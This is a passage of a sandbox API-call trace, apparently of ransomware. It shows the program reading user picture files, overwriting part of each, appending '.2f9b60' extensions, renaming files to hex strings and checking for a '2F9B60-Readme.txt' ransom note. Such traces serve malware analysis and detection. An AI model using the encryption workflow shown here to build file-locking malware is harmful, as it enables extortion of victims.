lpNumberOfBytesWritten=0x20d8f970*=0x10a, lpOverlapped=0x0) returned 1 [0118.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x168000) returned 1 [0118.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860fc0) returned 1 [0118.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8611d0) returned 1 [0118.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8613b0) returned 1 [0118.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f5b0) returned 1 [0118.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861290) returned 1 [0118.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fe80) returned 1 [0118.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860f90) returned 1 [0118.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1b7ae420 [0118.443] wcscpy (in: _Dest=0x1b7ae420, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\cU1CPw43.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\cU1CPw43.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\cU1CPw43.jpg" [0118.443] wcscat (in: _Dest=0x1b7ae420, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\cU1CPw43.jpg.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\cU1CPw43.jpg.2f9b60" [0118.443] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\cU1CPw43.jpg.2f9b60", NtPathName=0x20d8f990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\cU1CPw43.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0118.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x20278e30 [0118.443] NtSetInformationFile (FileHandle=0x1720, IoStatusBlock=0x20d8fa30, FileInformation=0x20278e30, Length=0xb4, FileInformationClass=0xa) returned 0x0 [0118.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278e30) returned 1 [0118.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf49ee0) returned 1 [0118.444] NtQueryInformationFile (in: FileHandle=0x1720, IoStatusBlock=0x20d8f9f8, FileInformation=0x20d8fa08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x20d8f9f8, FileInformation=0x20d8fa08) returned 0x0 [0118.444] NtSetInformationFile (FileHandle=0x1720, IoStatusBlock=0x20d8f9f8, FileInformation=0x20d8fa08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0118.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae420) returned 1 [0118.446] FlushFileBuffers (hFile=0x1720) returned 1 [0118.447] CloseHandle (hObject=0x1720) returned 1 [0118.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1b7ae420 [0118.448] wcscpy (in: _Dest=0x1b7ae420, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\" [0118.448] wcscat (in: _Dest=0x1b7ae420, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\2F9B60-Readme.txt" [0118.448] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\2f9b60-readme.txt")) returned 0x20 [0118.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae420) returned 1 [0118.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae6e0) returned 1 Thread: id = 1363 os_tid = 0xdb0 [0118.452] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\kL2Irr4NW86zW35Hp3xN.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\kl2irr4nw86zw35hp3xn.gif")) returned 0x20 [0118.452] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\kL2Irr4NW86zW35Hp3xN.gif", dwFileAttributes=0x20) returned 1 [0118.453] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\kL2Irr4NW86zW35Hp3xN.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\kl2irr4nw86zw35hp3xn.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1720 [0118.453] GetFileSizeEx (in: hFile=0x1720, lpFileSize=0x3d97fa00 | out: lpFileSize=0x3d97fa00*=66171) returned 1 [0118.453] SetFilePointerEx (in: hFile=0x1720, liDistanceToMove=0x10277, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.453] ReadFile (in: hFile=0x1720, lpBuffer=0x3d97f980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3d97f9c8, lpOverlapped=0x0 | out: lpBuffer=0x3d97f980*, lpNumberOfBytesRead=0x3d97f9c8*=0x4, lpOverlapped=0x0) returned 1 [0118.454] SetFilePointerEx (in: hFile=0x1720, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aae30 [0118.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aab90 [0118.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa770 [0118.454] NtQuerySystemTime (in: CurrentTime=0x3d97f8c0 | out: CurrentTime=0x3d97f8c0*=132462177239026000) returned 0x0 [0118.454] RtlRandomEx (in: Seed=0x3d97f8b0 | out: Seed=0x3d97f8b0) returned 0x7d9bc6c2 [0118.454] RtlRandomEx (in: Seed=0x3d97f8b0 | out: Seed=0x3d97f8b0) returned 0x187c0858 [0118.454] RtlRandomEx (in: Seed=0x3d97f8b0 | out: Seed=0x3d97f8b0) returned 0x274b494a [0118.454] RtlRandomEx (in: Seed=0x3d97f8b0 | out: Seed=0x3d97f8b0) returned 0x36bd7dec [0118.454] RtlRandomEx (in: Seed=0x3d97f8b0 | out: Seed=0x3d97f8b0) returned 0x4339db80 [0118.454] RtlRandomEx (in: Seed=0x3d97f8b0 | out: Seed=0x3d97f8b0) returned 0x6df35858 [0118.454] RtlRandomEx (in: Seed=0x3d97f8b0 | out: Seed=0x3d97f8b0) returned 0x47d36336 [0118.454] RtlRandomEx (in: Seed=0x3d97f8b0 | out: Seed=0x3d97f8b0) returned 0x28af1918 [0118.454] RtlRandomEx (in: Seed=0x3d97f8b0 | out: Seed=0x3d97f8b0) returned 0x3195716b [0118.454] RtlRandomEx (in: Seed=0x3d97f8b0 | out: Seed=0x3d97f8b0) returned 0x668abdc7 [0118.454] RtlRandomEx (in: Seed=0x3d97f8b0 | out: Seed=0x3d97f8b0) returned 0x27fbd472 [0118.454] RtlRandomEx (in: Seed=0x3d97f8b0 | out: Seed=0x3d97f8b0) returned 0x134d649b [0118.454] RtlRandomEx (in: Seed=0x3d97f8b0 | out: Seed=0x3d97f8b0) returned 0x42b95140 [0118.454] RtlRandomEx (in: Seed=0x3d97f8b0 | out: Seed=0x3d97f8b0) returned 0x3789c178 [0118.454] RtlRandomEx (in: Seed=0x3d97f8b0 | out: Seed=0x3d97f8b0) returned 0x71022274 [0118.455] RtlRandomEx (in: Seed=0x3d97f8b0 | out: Seed=0x3d97f8b0) returned 0x1effebde [0118.455] RtlRandomEx (in: Seed=0x3d97f8b0 | out: Seed=0x3d97f8b0) returned 0x7eef4eb [0118.455] RtlRandomEx (in: Seed=0x3d97f8b0 | out: Seed=0x3d97f8b0) returned 0x1f8a3de0 [0118.455] RtlRandomEx (in: Seed=0x3d97f8b0 | out: Seed=0x3d97f8b0) returned 0x6c36b09c [0118.455] RtlRandomEx (in: Seed=0x3d97f8b0 | out: Seed=0x3d97f8b0) returned 0x26b585d2 [0118.455] RtlRandomEx (in: Seed=0x3d97f8b0 | out: Seed=0x3d97f8b0) returned 0x6c4791cf [0118.455] RtlRandomEx (in: Seed=0x3d97f8b0 | out: Seed=0x3d97f8b0) returned 0x2ce27752 [0118.455] RtlRandomEx (in: Seed=0x3d97f8b0 | out: Seed=0x3d97f8b0) returned 0x15746166 [0118.455] RtlRandomEx (in: Seed=0x3d97f8b0 | out: Seed=0x3d97f8b0) returned 0x341ea1e2 [0118.455] RtlRandomEx (in: Seed=0x3d97f8b0 | out: Seed=0x3d97f8b0) returned 0x764216f1 [0118.455] RtlRandomEx (in: Seed=0x3d97f8b0 | out: Seed=0x3d97f8b0) returned 0x1d3c0f79 [0118.455] RtlRandomEx (in: Seed=0x3d97f8b0 | out: Seed=0x3d97f8b0) returned 0x2b0c060e [0118.455] RtlRandomEx (in: Seed=0x3d97f8b0 | out: Seed=0x3d97f8b0) returned 0x6cf55dce [0118.455] RtlRandomEx (in: Seed=0x3d97f8b0 | out: Seed=0x3d97f8b0) returned 0x746abe3e [0118.455] RtlRandomEx (in: Seed=0x3d97f8b0 | out: Seed=0x3d97f8b0) returned 0x4b7425a6 [0118.455] RtlRandomEx (in: Seed=0x3d97f8b0 | out: Seed=0x3d97f8b0) returned 0x6e3340fa [0118.455] RtlRandomEx (in: Seed=0x3d97f8b0 | out: Seed=0x3d97f8b0) returned 0x3eac0c23 [0118.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa740 [0118.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e510 [0118.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aae00 [0118.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e510) returned 1 [0118.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa770) returned 1 [0118.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aae30) returned 1 [0118.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fc4990 [0118.462] SetFilePointerEx (in: hFile=0x1720, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.462] ReadFile (in: hFile=0x1720, lpBuffer=0x41fc4990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3d97f920, lpOverlapped=0x0 | out: lpBuffer=0x41fc4990*, lpNumberOfBytesRead=0x3d97f920*=0x3c00, lpOverlapped=0x0) returned 1 [0118.462] SetFilePointerEx (in: hFile=0x1720, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0118.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e510 [0118.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aae30 [0118.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aae30) returned 1 [0118.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fbd170 [0118.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aae30 [0118.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa770 [0118.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa770) returned 1 [0118.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e510) returned 1 [0118.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0118.463] WriteFile (in: hFile=0x1720, lpBuffer=0x41fbd170*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3d97f920, lpOverlapped=0x0 | out: lpBuffer=0x41fbd170*, lpNumberOfBytesWritten=0x3d97f920*=0x3c00, lpOverlapped=0x0) returned 1 [0118.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fbd170) returned 1 [0118.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fc4990) returned 1 [0118.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1b82c620 [0118.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0118.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e510 [0118.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa770 [0118.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa770) returned 1 [0118.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1b82c3f0 [0118.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa770 [0118.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa7a0 [0118.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa7a0) returned 1 [0118.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e510) returned 1 [0118.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0118.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x122) returned 0x1b7d3a20 [0118.465] SetFilePointerEx (in: hFile=0x1720, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0118.465] WriteFile (in: hFile=0x1720, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x3d97f9d0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x3d97f9d0*=0x122, lpOverlapped=0x0) returned 1 [0118.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0118.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e510 [0118.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa7a0 [0118.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa7a0) returned 1 [0118.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1b7d8080 [0118.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa7a0 [0118.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aab60 [0118.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aab60) returned 1 [0118.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e510) returned 1 [0118.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0118.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x61) returned 0x1ced8d70 [0118.467] sprintf (in: _Dest=0x1ced8d70, _Format="%c%c" | out: _Dest="ee") returned 2 [0118.467] sprintf (in: _Dest=0x1ced8d72, _Format="%c%c" | out: _Dest="d7") returned 2 [0118.467] sprintf (in: _Dest=0x1ced8d74, _Format="%c%c" | out: _Dest="8d") returned 2 [0118.467] sprintf (in: _Dest=0x1ced8d76, _Format="%c%c" | out: _Dest="b5") returned 2 [0118.467] sprintf (in: _Dest=0x1ced8d78, _Format="%c%c" | out: _Dest="2e") returned 2 [0118.467] sprintf (in: _Dest=0x1ced8d7a, _Format="%c%c" | out: _Dest="30") returned 2 [0118.467] sprintf (in: _Dest=0x1ced8d7c, _Format="%c%c" | out: _Dest="d8") returned 2 [0118.467] sprintf (in: _Dest=0x1ced8d7e, _Format="%c%c" | out: _Dest="ad") returned 2 [0118.467] sprintf (in: _Dest=0x1ced8d80, _Format="%c%c" | out: _Dest="d4") returned 2 [0118.467] sprintf (in: _Dest=0x1ced8d82, _Format="%c%c" | out: _Dest="54") returned 2 [0118.467] sprintf (in: _Dest=0x1ced8d84, _Format="%c%c" | out: _Dest="c4") returned 2 [0118.467] sprintf (in: _Dest=0x1ced8d86, _Format="%c%c" | out: _Dest="11") returned 2 [0118.467] sprintf (in: _Dest=0x1ced8d88, _Format="%c%c" | out: _Dest="0c") returned 2 [0118.467] sprintf (in: _Dest=0x1ced8d8a, _Format="%c%c" | out: _Dest="29") returned 2 [0118.467] sprintf (in: _Dest=0x1ced8d8c, _Format="%c%c" | out: _Dest="b2") returned 2 [0118.467] sprintf (in: _Dest=0x1ced8d8e, _Format="%c%c" | out: _Dest="5d") returned 2 [0118.467] sprintf (in: _Dest=0x1ced8d90, _Format="%c%c" | out: _Dest="ba") returned 2 [0118.467] sprintf (in: _Dest=0x1ced8d92, _Format="%c%c" | out: _Dest="c9") returned 2 [0118.467] sprintf (in: _Dest=0x1ced8d94, _Format="%c%c" | out: _Dest="b7") returned 2 [0118.467] sprintf (in: _Dest=0x1ced8d96, _Format="%c%c" | out: _Dest="67") returned 2 [0118.468] sprintf (in: _Dest=0x1ced8d98, _Format="%c%c" | out: _Dest="c2") returned 2 [0118.468] sprintf (in: _Dest=0x1ced8d9a, _Format="%c%c" | out: _Dest="7d") returned 2 [0118.468] sprintf (in: _Dest=0x1ced8d9c, _Format="%c%c" | out: _Dest="ba") returned 2 [0118.468] sprintf (in: _Dest=0x1ced8d9e, _Format="%c%c" | out: _Dest="79") returned 2 [0118.468] sprintf (in: _Dest=0x1ced8da0, _Format="%c%c" | out: _Dest="80") returned 2 [0118.468] sprintf (in: _Dest=0x1ced8da2, _Format="%c%c" | out: _Dest="74") returned 2 [0118.468] sprintf (in: _Dest=0x1ced8da4, _Format="%c%c" | out: _Dest="9b") returned 2 [0118.468] sprintf (in: _Dest=0x1ced8da6, _Format="%c%c" | out: _Dest="1e") returned 2 [0118.468] sprintf (in: _Dest=0x1ced8da8, _Format="%c%c" | out: _Dest="d1") returned 2 [0118.468] sprintf (in: _Dest=0x1ced8daa, _Format="%c%c" | out: _Dest="54") returned 2 [0118.468] sprintf (in: _Dest=0x1ced8dac, _Format="%c%c" | out: _Dest="b3") returned 2 [0118.468] sprintf (in: _Dest=0x1ced8dae, _Format="%c%c" | out: _Dest="3e") returned 2 [0118.468] sprintf (in: _Dest=0x1ced8db0, _Format="%c%c" | out: _Dest="a0") returned 2 [0118.468] sprintf (in: _Dest=0x1ced8db2, _Format="%c%c" | out: _Dest="55") returned 2 [0118.468] sprintf (in: _Dest=0x1ced8db4, _Format="%c%c" | out: _Dest="d3") returned 2 [0118.468] sprintf (in: _Dest=0x1ced8db6, _Format="%c%c" | out: _Dest="ed") returned 2 [0118.468] sprintf (in: _Dest=0x1ced8db8, _Format="%c%c" | out: _Dest="24") returned 2 [0118.468] sprintf (in: _Dest=0x1ced8dba, _Format="%c%c" | out: _Dest="bb") returned 2 [0118.468] sprintf (in: _Dest=0x1ced8dbc, _Format="%c%c" | out: _Dest="65") returned 2 [0118.468] sprintf (in: _Dest=0x1ced8dbe, _Format="%c%c" | out: _Dest="aa") returned 2 [0118.468] sprintf (in: _Dest=0x1ced8dc0, _Format="%c%c" | out: _Dest="d3") returned 2 [0118.468] sprintf (in: _Dest=0x1ced8dc2, _Format="%c%c" | out: _Dest="12") returned 2 [0118.468] sprintf (in: _Dest=0x1ced8dc4, _Format="%c%c" | out: _Dest="98") returned 2 [0118.468] sprintf (in: _Dest=0x1ced8dc6, _Format="%c%c" | out: _Dest="fc") returned 2 [0118.468] sprintf (in: _Dest=0x1ced8dc8, _Format="%c%c" | out: _Dest="94") returned 2 [0118.468] sprintf (in: _Dest=0x1ced8dca, _Format="%c%c" | out: _Dest="70") returned 2 [0118.468] sprintf (in: _Dest=0x1ced8dcc, _Format="%c%c" | out: _Dest="29") returned 2 [0118.468] sprintf (in: _Dest=0x1ced8dce, _Format="%c%c" | out: _Dest="a8") returned 2 [0118.468] RtlInitAnsiString (in: DestinationString=0x3d97fa48, SourceString="eed78db52e30d8add454c4110c29b25dbac9b767c27dba7980749b1ed154b33ea055d3ed24bb65aad31298fc947029a8" | out: DestinationString="eed78db52e30d8add454c4110c29b25dbac9b767c27dba7980749b1ed154b33ea055d3ed24bb65aad31298fc947029a8") [0118.468] RtlAnsiStringToUnicodeString (in: DestinationString=0x3d97fa18, SourceString="eed78db52e30d8add454c4110c29b25dbac9b767c27dba7980749b1ed154b33ea055d3ed24bb65aad31298fc947029a8", AllocateDestinationString=1 | out: DestinationString="eed78db52e30d8add454c4110c29b25dbac9b767c27dba7980749b1ed154b33ea055d3ed24bb65aad31298fc947029a8") returned 0x0 [0118.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x118470 [0118.469] RtlFreeAnsiString (AnsiString="e") [0118.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8d70) returned 1 [0118.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8080) returned 1 [0118.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa7a0) returned 1 [0118.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3a20) returned 1 [0118.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0118.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa770) returned 1 [0118.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0118.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aae30) returned 1 [0118.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aab90) returned 1 [0118.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa740) returned 1 [0118.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aae00) returned 1 [0118.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x20278e30 [0118.469] wcscat (in: _Dest=0x20278e30, _Source="eed78db52e30d8add454c411" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\eed78db52e30d8add454c411") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\eed78db52e30d8add454c411" [0118.469] wcscat (in: _Dest=0x20278e30, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\eed78db52e30d8add454c411.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\eed78db52e30d8add454c411.2f9b60" [0118.469] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\eed78db52e30d8add454c411.2f9b60", NtPathName=0x3d97f9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\eed78db52e30d8add454c411.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0118.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1b776af0 [0118.470] NtSetInformationFile (FileHandle=0x1720, IoStatusBlock=0x3d97fa90, FileInformation=0x1b776af0, Length=0xcc, FileInformationClass=0xa) returned 0x0 [0118.474] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 [0118.474] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf49ee0) returned 1 [0118.474] NtQueryInformationFile (in: FileHandle=0x1720, IoStatusBlock=0x3d97fa58, FileInformation=0x3d97fa68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3d97fa58, FileInformation=0x3d97fa68) returned 0x0 [0118.474] NtSetInformationFile (FileHandle=0x1720, IoStatusBlock=0x3d97fa58, FileInformation=0x3d97fa68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0118.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278e30) returned 1 [0118.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118470) returned 1 [0118.476] FlushFileBuffers (hFile=0x1720) returned 1 [0118.481] CloseHandle (hObject=0x1720) returned 1 [0118.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1b7ae420 [0118.482] wcscpy (in: _Dest=0x1b7ae420, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\" [0118.482] wcscat (in: _Dest=0x1b7ae420, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\2F9B60-Readme.txt" [0118.482] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\2f9b60-readme.txt")) returned 0x20 [0118.483] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae420) returned 1 [0118.483] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac370) returned 1 Thread: id = 1364 os_tid = 0xdbc [0118.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x1b7ae420 [0118.491] wcscpy (in: _Dest=0x1b7ae420, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR" [0118.491] wcscat (in: _Dest=0x1b7ae420, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\" [0118.491] wcscat (in: _Dest=0x1b7ae420, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR\\*") returned="C:\\Users\\5p5NrGJn0jS 